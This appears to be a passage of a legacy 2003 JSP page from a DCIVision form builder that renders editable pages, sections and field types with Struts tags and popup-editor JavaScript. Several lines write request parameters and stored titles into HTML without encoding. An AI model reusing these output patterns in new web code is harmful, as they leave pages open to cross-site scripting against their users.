<%
/*
 * @(#)EditFormSection.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormSection.jsp

  This class is reflecting business logic uses.

    @author           Scott Tong
    @company          DCIVision Limited
    @creation date    27/12/2003
    @version          $Revision: 1.14.2.8 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormSectionForm" scope="request" class="com.dcivision.form.web.MaintFormSectionForm"/>


<script language="Javascript">
<!--

  function putMandatoryValue(MandName,requiredFlag) {
	if(requiredFlag){
		eval('document.maintFormSectionForm.'+MandName+'.checked=true');
		return(false);
	}else{
		eval('document.maintFormSectionForm.'+MandName+'.checked=false');
		return(false);
	}
  }


-->
</script>
<%
  java.util.Date CurrDay=new java.util.Date();
  int pageListSize =0;
  List formPageList = (List)request.getAttribute("formPageList");
  if (request.getAttribute("formPageList")!=null) {
    pageListSize = formPageList.size();

  }
  
  String[][] PULLDOWN_MAP = { 
                              {"form.label.field_type_T", FormElementType.ELEMENT_TEXT},
                              {"form.label.field_type_A", FormElementType.ELEMENT_TEXT_AREA},
                              {"form.label.field_type_S", FormElementType.ELEMENT_SELECTION_BOX},
                              {"form.label.field_type_R", FormElementType.ELEMENT_RADIO_BUTTON},
                              {"form.label.field_type_C", FormElementType.ELEMENT_CHECK_BOX},
                              {"form.label.field_type_F", FormElementType.ELEMENT_FILE},
                              {"form.label.field_type_P", FormElementType.ELEMENT_PASSWORD},
                              {"form.label.field_type_L", FormElementType.ELEMENT_LABEL},
                              {"form.label.field_type_I", FormElementType.ELEMENT_IMAGE},
                              {"form.label.field_type_D", FormElementType.ELEMENT_DATE_PICKER},
                              {"form.label.field_type_M", FormElementType.ELEMENT_TIME_PICKER},
                              {"form.label.field_type_V", FormElementType.ELEMENT_USER_PICKER},
                              {"form.label.field_type_U", FormElementType.ELEMENT_CURRENT_DATE},
                              {"form.label.field_type_G", FormElementType.ELEMENT_CURRENT_LOGIN},
                              {"form.label.field_type_B", FormElementType.ELEMENT_CONDITIONAL_FIELD},                              
                              {"form.label.page", FormElementType.ELEMENT_PAGE},
                              {"form.label.section", FormElementType.ELEMENT_SECTION}
                            };

  String[][] PULLDOWN_MAP_PAGE = { {"form.label.page", FormElementType.ELEMENT_PAGE}};                          
  String[][] PULLDOWN_MAP_SECTION = { {"form.label.section", FormElementType.ELEMENT_SECTION}};
  String[][] PULLDOWN_MAP_ELEMENT = { {"form.label.field_type_T", FormElementType.ELEMENT_TEXT},
                              {"form.label.field_type_A", FormElementType.ELEMENT_TEXT_AREA},
                              {"form.label.field_type_S", FormElementType.ELEMENT_SELECTION_BOX},
                              {"form.label.field_type_R", FormElementType.ELEMENT_RADIO_BUTTON},
                              {"form.label.field_type_C", FormElementType.ELEMENT_CHECK_BOX},
                              {"form.label.field_type_F", FormElementType.ELEMENT_FILE},
                              {"form.label.field_type_P", FormElementType.ELEMENT_PASSWORD},
                              {"form.label.field_type_L", FormElementType.ELEMENT_LABEL},
                              {"form.label.field_type_I", FormElementType.ELEMENT_IMAGE},
                              {"form.label.field_type_D", FormElementType.ELEMENT_DATE_PICKER},
                              {"form.label.field_type_M", FormElementType.ELEMENT_TIME_PICKER},
                              {"form.label.field_type_V", FormElementType.ELEMENT_USER_PICKER},
                              {"form.label.field_type_U", FormElementType.ELEMENT_CURRENT_DATE},
                              {"form.label.field_type_G", FormElementType.ELEMENT_CURRENT_LOGIN},
                              {"form.label.field_type_B", FormElementType.ELEMENT_CONDITIONAL_FIELD}                              
                            };                                                       
%>
<html:form action="form/MaintFormSectionFormElement" styleClass="form-style-2">
<html:javascript formName="maintFormSectionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
 
 <%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   java.util.Date CurrDate=new java.util.Date();
   //String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
    String[][] POS_LABEL_MAP = { {"form.label.display_type_left", FormElement.LABEL_POSITION_LEFT},
                                {"form.label.display_type_center", FormElement.LABEL_POSITION_CENTER},
                                {"form.label.display_type_right", FormElement.LABEL_POSITION_RIGHT}};
 
   boolean bIsCopy = false, bIsPending = false, bTextOnly = false;
   String navMode = request.getParameter("navMode");
   if (GlobalConstant.NAV_MODE_CHANGE.equals(navMode)) {
     bIsCopy = true;
   } else if (GlobalConstant.RECORD_PENDING.equals(maintFormSectionForm.getStatus())) {
     bIsPending = true;
   } else {
     bTextOnly = true;
   }
   
   // set the formRecordUpdateCount into session
   if (!Utility.isEmpty(request.getAttribute("formRecordUpdateCount"))) {
     session.setAttribute("formRecordUpdateCount",request.getAttribute("formRecordUpdateCount"));
   }
   // set the formRecordID into session
   if (!Utility.isEmpty(request.getAttribute("formRecordID"))) {
     session.setAttribute("formRecordID",request.getAttribute("formRecordID"));
   }
   
   List formElementList = null;
      
  int tmpListTotal=0;
  int listSize=0;
  int lastlistSizeTotal=0;
  int newFieldSize=0;
  int sectionListSize = 0;
  int newElementSeq = 0;
  int formObjectSize = 0;
  Integer opNewField=new Integer(0);
  String formPageID = null;
  
  String selectWidth ="width:83";
  if (((Locale)session.getAttribute(org.apache.struts.Globals.LOCALE_KEY)).equals(Utility.getLocaleByString(GlobalConstant.LOCALE_STR_EN_US))) {
    selectWidth ="width:165";
  }
  String functionType="common.label.form_action_outline";
  String sCurFunctionCode = SystemFunctionConstant.FORM_SETUP;  
%>


<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = "V"; //(String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>

<input type='hidden' name='formRecordID' value='<%=request.getParameter("formRecordID")%>'/>
<input type='hidden' name='fieldName' />

<table>
  <layout:returnButton>
    ListFormRecord.do?navMode=L&formGroupID=<%=session.getAttribute("formGroupID")%>&opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
  </layout:returnButton>
</table>

<div class="new_header">
</div>

<div id="generalContainer" class="generalContainer">
<div class="listTable">
<div class="form">
<table width="100%"><tr><td>
<script language='javascript'>
<!--
function onSave(n,i){

  var Sel;
  var MandValue;
  var DeleteValue; 

  var SelectValue=document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value;
  window.ID =eval("document.maintFormSectionForm.elements['formElementID_'+n+'_'+i]");
  window.formElementName =eval("document.maintFormSectionForm.elements['formElementName_'+n+'_'+i]");
  window.formElementType = eval("document.maintFormSectionForm.elements['formElementType_'+n+'_'+i]");

 if (document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value!=null)
   {    
    if (document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value != "0")
     {
      document.maintFormSectionForm.elements['subSection_'+n+'_'+i].disabled=true;
     }else{
      document.maintFormSectionForm.elements['subSection_'+n+'_'+i].disabled=false;
     }   
   } 
  if (document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="I" || document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="L" || document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="0"  || document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="1" ){
    document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].checked=false;
    document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].disabled=true;
  }else{ 
    document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].disabled=false;
  }

  var TextValue=document.maintFormSectionForm.elements['formElementName_'+n+'_'+i].value;    
  if (document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].checked==true)
    MandValue=1;   
  else
    MandValue=0;  
  
 
 // popup a window and submit the form.  
  var oldTarget = "";
  var oldNavMode= "";
  var sOptions = "";
  var sPopupPath = "";
  var width = 800;
  var height = 600;
  
  oldTarget=document.maintFormSectionForm.target;
  oldAction=document.maintFormSectionForm.action;  
  sOptions = 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80';
  document.maintFormSectionForm.fieldName.value = TextValue;
  
  if (document.maintFormSectionForm.elements['formElementID_'+n+'_'+i].value=="" || document.maintFormSectionForm.elements['formElementID_'+n+'_'+i].value=="null"){    
    if (document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="0"){
       document.maintFormSectionForm.action="MaintFormSection.do?SHOW_HEADER_FOOTER=N&DeleteV="+DeleteValue+"&MandV="+MandValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=N&opMode=&formPageID=<%=request.getAttribute("formPageID")%>&ID=";
    }else if(document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="1"){
       //document.maintFormSectionForm.action="MaintFormPage.do?SHOW_HEADER_FOOTER=N&DeleteV="+DeleteValue+"&MandV="+MandValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=N&ID=";
    }else{
       document.maintFormSectionForm.action="MaintFormElement.do?SHOW_HEADER_FOOTER=N&DeleteV="+DeleteValue+"&MandV="+MandValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=N&formPageID=<%=request.getAttribute("formPageID")%>&ID=";
    }  
    if(document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value!="1"){
    	window.open(sPopupPath, "DCIVisionForm", sOptions);
        document.maintFormSectionForm.target = "DCIVisionForm"; 
        document.maintFormSectionForm.submit();
        document.maintFormSectionForm.target=oldTarget;
        document.maintFormSectionForm.action=oldAction;
    }
    
  }else{
    if (document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="0"){
       document.maintFormSectionForm.action="MaintFormSection.do?SHOW_HEADER_FOOTER=N&function=VIEWSTRU&DeleteV="+DeleteValue+"&MandV="+MandValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=V&opMode=&formPageID="+n+"&ID="+document.maintFormSectionForm.elements['formElementID_'+n+'_'+i].value;
    }else if(document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value=="1"){
       //document.maintFormSectionForm.action="MaintFormPage.do?SHOW_HEADER_FOOTER=N&function=VIEWSTRU&DeleteV="+DeleteValue+"&MandV="+MandValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=E&opMode=&ID="+n;
    }else{
       document.maintFormSectionForm.action="MaintFormElement.do?SHOW_HEADER_FOOTER=N&function=VIEWSTRU&DeleteV="+DeleteValue+"&MandV="+MandValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=V&opMode=&formPageID="+n+"&ID="+document.maintFormSectionForm.elements['formElementID_'+n+'_'+i].value;
    }  
    if(document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value!="1"){
    	window.open(sPopupPath, "DCIVisionForm", sOptions);
        document.maintFormSectionForm.target = "DCIVisionForm"; 
        document.maintFormSectionForm.submit();
        document.maintFormSectionForm.target=oldTarget;
        document.maintFormSectionForm.action=oldAction;
    }
  }
 
  
  
}   

-->
</script>

<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
<input type="hidden" name="pageListSize" value="<%=pageListSize%>" >
<%
  Object[][] pageElementArray = maintFormSectionForm.getPageElementArray();
  
  for (int nn = 0; nn < pageListSize ; nn++){

  tmpListTotal=0;
  listSize=0;
  newFieldSize=0;
  sectionListSize = 0;
  newElementSeq = 0;
  formObjectSize = 0;
  opNewField=new Integer(0);
  // get the defalut field count of a section
  String defaultFieldCount = SystemParameterFactory.getSystemParameter(
	  SystemParameterConstant.FORM_SECTION_DEFAULT_FIELD_COUNT);
	
  Integer defaultFieldSize = new Integer(defaultFieldCount);
  FormPage formPage =(FormPage)formPageList.get(nn);  
  formPageID = formPage.getID().toString();
  if (request.getAttribute("newFieldsSize_"+formPageID) != null){
    newFieldSize = ((Integer) request.getAttribute("newFieldsSize_"+formPageID)).intValue();
  }
  if (request.getParameter("newField_"+formPageID) != null){
    opNewField = new Integer(request.getParameter("newField_"+formPageID));
  }
  
  if (request.getAttribute("listSize_"+formPageID) != null){
    listSize = ((Integer) request.getAttribute("listSize_"+formPageID)).intValue();
  }
  if (request.getAttribute("newElementSeq_"+formPageID) != null){
    newElementSeq = ((Integer) request.getAttribute("newElementSeq_"+formPageID)).intValue();
  } 
  
     List formSectionList = (List)request.getAttribute("formSectionList"+nn);
     if (request.getAttribute("formSectionList"+nn)!=null) {
       sectionListSize = formSectionList.size();
     }
     List formObjectList = null;
     if (GlobalConstant.OP_MODE_REFRESH.equals(maintFormSectionForm.getOpMode())) {
     	formObjectList = (List)pageElementArray[nn][0];
     	formObjectSize = formObjectList.size();
     } else {
        formObjectList = maintFormSectionForm.getFormElementList();
     }
     
     if(request.getAttribute("newElementSeq_"+formPageID) != null && !Utility.isEmpty(formObjectList) ){
       //formObjectList = maintFormSectionForm.getFormElementList();
       formObjectSize = formObjectList.size();
       sectionListSize = -1;
     } 
     
     Hashtable elementHashtable = (Hashtable)request.getAttribute("formElementHashtable"+nn);

%>  
  <!-- START Form Element -->
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2">
      <table width="100%">
        <tr>
          <td nowrap>           
	          <div class="sectionTitle"><bean:message key='form.label.page'/> <%=nn+1%> : <%=formPage.getTitle()%></div> <!-- Start page -->
	          <input type='hidden' name='formPageID' value='<%=formPageID%>'/>
	          <input type='hidden' name='formEleType' value=''/>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  <tr>
  	<td>
  		<table style="width:82%;">
  			<tr>
  				<td>
  		      <div class="sectionLine">&nbsp;</div>
  		    </td>
  		  </tr>
  		</table>
  	</td>
  </tr>
  
  <%
  //=========== Display Defalult Element Begin ============
  if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
    if (sectionListSize==0 ) {
      tmpListTotal=defaultFieldSize.intValue();
      for (int i=0; i<defaultFieldSize.intValue(); i++) {
  %>
 <tr>
  <td>
		<table class="pageTable" style="border: 1px solid #ccdddd;">
		  <tr>
		  	<th><div class="firstsep">&nbsp;</div></th>
		  	<th><div class="sep">&nbsp;</div></th>
			  <th><div class="sep"><bean:message key="form.columnheader.name"/></div></th>
			  <th><div class="sep"><bean:message key="form.columnheader.type"/></div></th>
			  <th><div class="sep"><bean:message key="form.columnheader.mandatory"/></div></th>
		  </tr>
		  <tr>
		    <td <%if(i==0){%> class="se2" <%}else{%> class="se2" <%}%> width="10%" align="right">
			 <%=i+1%>:&nbsp;</td>
		    <td class="s2">
			 <input type="hidden" name="formElementID_<%=formPageID%>_<%=i%>" value="">
		      <input type="text" name="formElementName_<%=formPageID%>_<%=i%>" value="" size="25" maxlength="100"  >&nbsp;&nbsp;&nbsp;
		    </td>
		    <td class="s2">
		      <%if(i==0){%>
		      <select style="<%=selectWidth%>" name="formElementType_<%=formPageID%>_<%=i%>" >
		      <%for (int k=0; k<PULLDOWN_MAP_SECTION.length; k++) {%>
		        <option value="<%=PULLDOWN_MAP_SECTION[k][1]%>"><bean:message key='<%=PULLDOWN_MAP_SECTION[k][0]%>'/>
		      <%}
		      }else{%>
		      <select name="formElementType_<%=formPageID%>_<%=i%>" >
		      <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
		        <option value="<%=PULLDOWN_MAP[k][1]%>"><bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>      
		      <%}
		      }%>
		      </select>
		    </td>
		    <td class="s2">
			    <input style="display:none" type="checkbox" name="subSection_<%=formPageID%>_<%=i%>" value="Y" >
			    <input type="checkbox" name="mandatory_<%=formPageID%>_<%=i%>" value="Mandatory" ><bean:message key="dms.label.mandatory"/>&nbsp;&nbsp;&nbsp;
		    </td>
		  </tr>
		  <tr>
		    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
		  </tr>
		</table>
</td>
</tr>
<script language="Javascript">
<!--
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>!=null){
       if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="U"){
         document.maintFormSectionForm.formElementName_<%=formPageID%>_<%=i%>.readOnly=true;
       }
       if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="1"){
         document.maintFormSectionForm.subSection_<%=formPageID%>_<%=i%>.disabled=true;
         document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=i%>.disabled=true;
       } 
       if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="I" || document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="L" || document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="0" || document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="1"){
         document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=i%>.disabled=true;
       }     
       if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="T"){
         document.maintFormSectionForm.subSection_<%=formPageID%>_<%=i%>.disabled=true;
       }
       if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="G"){
         document.maintFormSectionForm.formElementName_<%=formPageID%>_<%=i%>.readOnly=true;
       }
     }
 -->
</script>  
  <%  
      }
    }
  }
   //=========== Display Defalult Element End ============
   //=========== Edit Element & Section Begin ============
   %>
   
<tr>
	<td>
   <% int totalObject = -1;
    for (int j=0; j<sectionListSize; j++){
      FormSection tmpFormSection = (FormSection)formSectionList.get(j);
      totalObject ++;
        String opSubSection="";
        if ("Y".equals(tmpFormSection.getSubSection())) {
          opSubSection = " checked";
        }
    %>
    <!-- Form Section Begin-->
  <table class="pageTable" style="border: 1px solid #ccdddd;">
  <tr>
  	<th><div class="firstsep" style="width:5%;">&nbsp;</div></th>
  	<th><div class="sep">&nbsp;</div></th>
	  <th><div class="sep"><bean:message key="form.columnheader.name"/></div></th>
	  <th><div class="sep"><bean:message key="form.columnheader.type"/></div></th>
	  <th><div class="sep"><bean:message key="form.columnheader.mandatory"/></div></th>
  </tr>
    <tr > 
      <td class="se2" style="width:5%;">     
        <a href='javaScript:onSave(<%=formPageID%>,<%=totalObject%>)'><html:img src='IconView.gif'  align='absmiddle'/></a>
      </td>
      <td class="se2">
        <%=totalObject+1%>:&nbsp;
      </td>
      <td class="se2"><nobr>
  	    <input type="hidden" name="formElementID_<%=formPageID%>_<%=totalObject%>" value="<%=tmpFormSection.getID()%>">
  	 <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
         <%=tmpFormSection.getTitle()==null? "":tmpFormSection.getTitle().replaceAll("\"", "&quot;")%>
         <input type="hidden" name="formElementName_<%=formPageID%>_<%=totalObject%>" value="<%=tmpFormSection.getTitle()%>" >&nbsp;&nbsp;&nbsp;
         <%} else {%>
        <input type="text" name="formElementName_<%=formPageID%>_<%=totalObject%>" value="<%=tmpFormSection.getTitle()%>" size="25" maxlength="100"  >&nbsp;&nbsp;&nbsp;
        <%}%>
         </nobr></td>
          <td class="se2">
        <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
       <%for (int k=0; k<PULLDOWN_MAP_SECTION.length; k++) {%>
        <%if ("0".equals(PULLDOWN_MAP_SECTION[k][1])) {%>
        <bean:message key='<%=PULLDOWN_MAP_SECTION[k][0]%>'/>
        <input type="hidden" name="formElementType_<%=formPageID%>_<%=totalObject%>" value="0" >&nbsp;&nbsp;&nbsp;
        <%}%>
      <%}%>      
      <%} else {%>
        <select style="<%=selectWidth%>" name="formElementType_<%=formPageID%>_<%=totalObject%>" >
        <%for (int k=0; k<PULLDOWN_MAP_SECTION.length; k++) {%>
          <option value="<%=PULLDOWN_MAP_SECTION[k][1]%>"><bean:message key='<%=PULLDOWN_MAP_SECTION[k][0]%>'/>
        <%}%>
        </select>
        <%}%>
      </td>          
        <td class="se2">          
          <input type="checkbox" style="display:none" name="subSection_<%=formPageID%>_<%=totalObject%>" value="Y" <%=opSubSection%>>
  	      <input type="checkbox" name="mandatory_<%=formPageID%>_<%=totalObject%>"  value="Mandatory" >&nbsp;&nbsp;&nbsp;
  	    </td>
    </tr>
  <script language="Javascript">
  <!--
   if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>!=null)
   {    
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="0")
     {
      document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=totalObject%>.disabled=true;
     }    
   } 
    // if View the section,then hidden the checkbox.
    <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
         document.maintFormSectionForm.subSection_<%=formPageID%>_<%=totalObject%>.disabled=true;
         document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=totalObject%>.disabled=true;
     <%}%>
    
  -->
  </script>  
    
    <!-- Form Section End  -->
    <% 
      int elementListSize = 0;
    
      formElementList = (List)elementHashtable.get(tmpFormSection.getID() );
      if (formElementList!=null) {
        elementListSize = formElementList.size();
      } 
    

    for (int i=0; i<elementListSize; i++) {
      totalObject ++;
      if (formElementList.get(i)!=null) {
        FormElement formElement = (FormElement) formElementList.get(i); 
        String opMandatory="";
        if ("Y".equals(formElement.getRequiredFlag())) {
          opMandatory = " checked";
        }
      %>
  <tr>
    <td class="s2" style="width:5%;">   
      <a href='javaScript:onSave(<%=formPageID%>,<%=totalObject%>)'><html:img src='IconView.gif'  align='absmiddle'/></a>
    </td>
    <td class="s2" style="width:5%;"> 
      <%=totalObject+1%>:&nbsp;
    </td>
          <td class="s2"><nobr>
      <input type="hidden" name="formElementID_<%=formPageID%>_<%=totalObject%>" value="<%=formElement.getID()%>">
      
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <%=formElement.getFieldName()==null? "":formElement.getFieldName().replaceAll("\"", "&quot;")%>
      <input type="hidden" name="formElementName_<%=formPageID%>_<%=totalObject%>" value='<%=formElement.getFieldName()==null? "":TextUtility.htmlEncode(formElement.getFieldName())%>'>&nbsp;&nbsp;&nbsp;      
      <%} else {%>
      <input type="text" name="formElementName_<%=formPageID%>_<%=totalObject%>"     value='<%=formElement.getFieldName()==null? "":TextUtility.htmlEncode(formElement.getFieldName())%>' size="25" maxlength="100">&nbsp;&nbsp;&nbsp;
      <%}%>
          </nobr></td>
          <td class="s2">
      <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <%for (int k=0; k<PULLDOWN_MAP_ELEMENT.length; k++) {%>
        <%if (PULLDOWN_MAP_ELEMENT[k][1].equals(formElement.getElementType())) {%>
        <bean:message key='<%=PULLDOWN_MAP_ELEMENT[k][0]%>'/>
        <input type="hidden" name="formElementType_<%=formPageID%>_<%=totalObject%>" value="<%=formElement.getElementType()%>" >
        <%}%>
      <%}%>      
      <%} else {%>
	    <select name="formElementType_<%=formPageID%>_<%=totalObject%>"  >
      <%for (int k=0; k<PULLDOWN_MAP_ELEMENT.length; k++) {%>
        <%String opSelected = PULLDOWN_MAP_ELEMENT[k][1].equals(formElement.getElementType()) ? " selected" : "";%>
        <option value="<%=PULLDOWN_MAP_ELEMENT[k][1]%>"<%=opSelected%>><bean:message key='<%=PULLDOWN_MAP_ELEMENT[k][0]%>'/>
      <%}%>
        </select>
      <%}%>
         </td>          
          <td class="s2">
	    <input type="checkbox" style="display:none" name="subSection_<%=formPageID%>_<%=totalObject%>" value="Y" >
	    <input type="checkbox" name="mandatory_<%=formPageID%>_<%=totalObject%>"  value="Mandatory"<%=opMandatory%><%=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?" onclick='return(false)'":""%>>&nbsp;&nbsp;&nbsp;
           </td>
  </tr>

    <%}
     
    %>
    <script language="Javascript">
    <!--
 // if(document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="0"){
 //    SetTableRowColor(this, <%=i%>, 'click', document.maintFormSectionForm.formElementID_<%=formPageID%>_<%=i%>.value);
 // }
    if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>!=null)
    {    
      if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value!="0")
     {
      document.maintFormSectionForm.subSection_<%=formPageID%>_<%=totalObject%>.disabled=true;
     }
    } 
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>!=null)
    {  
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="U")
    {
      document.maintFormSectionForm.formElementName_<%=formPageID%>_<%=totalObject%>.readOnly=true;
    }
    }
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>!=null)
    {    
         if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="I" || document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="L" || document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="0")
     {
      document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=totalObject%>.disabled=true;
     }
    } 
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>!=null)
    {
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="G")
    {
      document.maintFormSectionForm.formElementName_<%=formPageID%>_<%=totalObject%>.readOnly=true;
    }
    }
    // if View the Element,then hidden the checkbox.
    <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
         document.maintFormSectionForm.subSection_<%=formPageID%>_<%=totalObject%>.disabled=true;
         document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=totalObject%>.disabled=true;
     <%}%>
    -->
</script> 
	<% 
	  }
	 }%>
</td>
</tr>
</table>
	 <%//=================== Edit Element & Section End ======================%>
	 <%//=================== Refresh Element & Section Begin =================
    for (int i=0; i<formObjectSize; i++){
      if (formObjectList.get(i) instanceof FormSection){
        FormSection tmpFormSection = (FormSection)formObjectList.get(i);
          String opSubSection="";
        if ("Y".equals(tmpFormSection.getSubSection())) {
          opSubSection = " checked";
        }
        
    %>
    <!-- Form Section Begin-->
    <tr> 
      <td <%if (((GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) && !Utility.isEmpty(tmpFormSection.getID())) || (i==0) ) {%> 
         bgcolor="#FF8000" <%}else{%> class="greyD" <%}%>width="10%" align="right">
       <a href='javaScript:onSave(<%=formPageID%>,<%=i%>)'><html:img src='IconView.gif'  align='absmiddle'/></a>
   	  <%=i+1%>:&nbsp;</td>
      <td class="dataField" width="80%" align="left">
        <table width="100%" border="0" cellpadding="0" cellspacing="0">
         <tr>
          <td width="170" class="dataField"><nobr>
  	    <input type="hidden" name="formElementID_<%=formPageID%>_<%=i%>" value="<%=tmpFormSection.getID()%>">
        <input type="text" name="formElementName_<%=formPageID%>_<%=i%>" value="<%=tmpFormSection.getTitle()%>" size="25" maxlength="100"  >&nbsp;&nbsp;&nbsp;
         </nobr></td>
          <td width="80" class="dataField">
          
     <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
        <%if (PULLDOWN_MAP[k][1].equals(tmpFormSection.getIsSelected() ? FormElementType.ELEMENT_SECTION : "")) {%>
        <bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
        <%}%>
      <%}%>      
      <%} else {%>
      	    <!-- The Element in DB,Yes OR No  -->
      	    <%if ((GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) && !Utility.isEmpty(tmpFormSection.getID()) ) {%>
	      <select style="<%=selectWidth%>" name="formElementType_<%=formPageID%>_<%=i%>" >
      		<%for (int k=0; k<PULLDOWN_MAP_SECTION.length; k++) {%>
        	<%String opSelected = PULLDOWN_MAP_SECTION[k][1].equals(FormElementType.ELEMENT_SECTION) ? " selected" : "";%>
        	<option value="<%=PULLDOWN_MAP_SECTION[k][1]%>"<%=opSelected%>><bean:message key='<%=PULLDOWN_MAP_SECTION[k][0]%>'/>
      		<%}%>
             </select>         
